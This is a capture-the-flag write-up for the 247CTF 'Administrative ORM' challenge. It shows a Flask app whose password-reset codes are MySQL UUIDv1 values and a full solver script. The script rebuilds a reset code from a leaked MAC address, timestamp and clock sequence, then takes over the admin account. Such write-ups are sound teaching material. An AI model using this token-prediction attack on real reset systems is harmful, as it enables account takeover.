ADMINISTRATIVE ORM [HARD]#
Description#
We started building a custom ORM for user management. Can you find any bugs before we push to production?
Source Code#
Click here for source code in text format
import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host
class ORM():
def __init__(self):
self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)
def update(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
self.connection.commit()
def query(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
result = cursor.fetchone()
return result
def get_by_name(self, user):
return self.query('select * from users where username=%s', user)
def get_by_reset_code(self, reset_code):
return self.query('select * from users where reset_code=%s', reset_code)
def set_password(self, user, password):
password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
self.update('update users set password=%s where username=%s', (password_hash, user))
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'
@app.route("/get_flag")
def get_flag():
user_row = app.config['ORM'].get_by_name(app.config['USER'])
if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):
return flag
return "Invalid password for %s!" % app.config['USER']
@app.route("/update_password")
def update_password():
user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))
if user_row:
app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))
return "Password reset for %s!" % app.config['USER']
app.config['ORM'].set_reset_code(app.config['USER'])
return "Invalid reset code for %s!" % app.config['USER']
@app.route("/statistics") # TODO: remove statistics
def statistics():
return debug.statistics()
@app.route('/')
def source():
return "<pre>%s</pre>" % open(__file__).read()
@app.before_first_request
def before_first():
app.config['ORM'] = ORM()
app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())
@app.errorhandler(Exception)
def error(error):
return "Something went wrong!"
if __name__ == "__main__":
app.run()
Short Solution Description / Tags#
UUIDv1 Calculation
Solution#
The reset_code needed to change the password is automatically generated using MySQL's UUID() function, and it is a UUIDv1:
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
MySQL :: MySQL 8.2 Reference Manual :: 12.23 Miscellaneous Functions
UUID() returns a value that conforms to UUID version 1 as described in RFC 4122.
Gathering the information by the /statistics endpoint such as a MAC Addreess to calculate the UUIDv1, change the password, and then got the flag.
solver.py
from datetime import datetime
import re
import requests
from uuid import UUID
s = requests.Session()
# s.proxies = {"https": "http://127.0.0.1:8080"}
s.verify = False
requests.packages.urllib3.disable_warnings()
BASE_URL = "https://47b8ddea058e5ec2.247ctf.com"
def set_reset_code():
s.get(f"{BASE_URL}/update_password")
def leak_uuid():
res = s.get(f"{BASE_URL}/statistics")
# e.g. last_reset: 2023-12-29 05:40:33.170573900
m = re.findall(r"last_reset: (.*)", res.text)
reset_time = m[0]
# UUIDv1 Implementation: https://github.com/python/cpython/blob/3.12/Lib/uuid.py#L692-L695
no_ns = datetime.strptime(reset_time[:-10], "%Y-%m-%d %H:%M:%S").strftime("%s")
no_ns = str(int(no_ns) + 60 * 60 * 9)
time_ns = no_ns + reset_time[-9:]
time_ns = int(time_ns)
timestamp = time_ns // 100 + 0x01B21DD213814000
time_low = timestamp & 0xFFFFFFFF
time_mid = (timestamp >> 32) & 0xFFFF
time_hi_version = (timestamp >> 48) & 0x0FFF
# e.g. HWaddr 02:42:AC:11:00:19
m = re.findall(r"HWaddr ([0-9A-F:]{17})", res.text)
node = m[0]
node = int(node.replace(":", "").lower(), base=16)
# e.g. clock_sequence: 3215
m = re.findall(r"clock_sequence: ([0-9].*)", res.text)
clock_seq = int(m[0])
clock_seq_low = clock_seq & 0xFF
clock_seq_hi_variant = (clock_seq >> 8) & 0x3F
# UUID: https://docs.python.org/3/library/uuid.html#uuid.UUID
uuid = UUID(
fields=(
time_low,
time_mid,
time_hi_version,
clock_seq_hi_variant,
clock_seq_low,
node,
),
version=1,
)
return str(uuid)
def main():
set_reset_code()
leaked_uuid = leak_uuid()
s.get(f"{BASE_URL}/update_password", params={"reset_code": leaked_uuid})
res = s.get(f"{BASE_URL}/get_flag")
print(res.text)
if __name__ == "__main__":
main()
Result:
$ python3 solver.py
247CTF{[REDACTED]}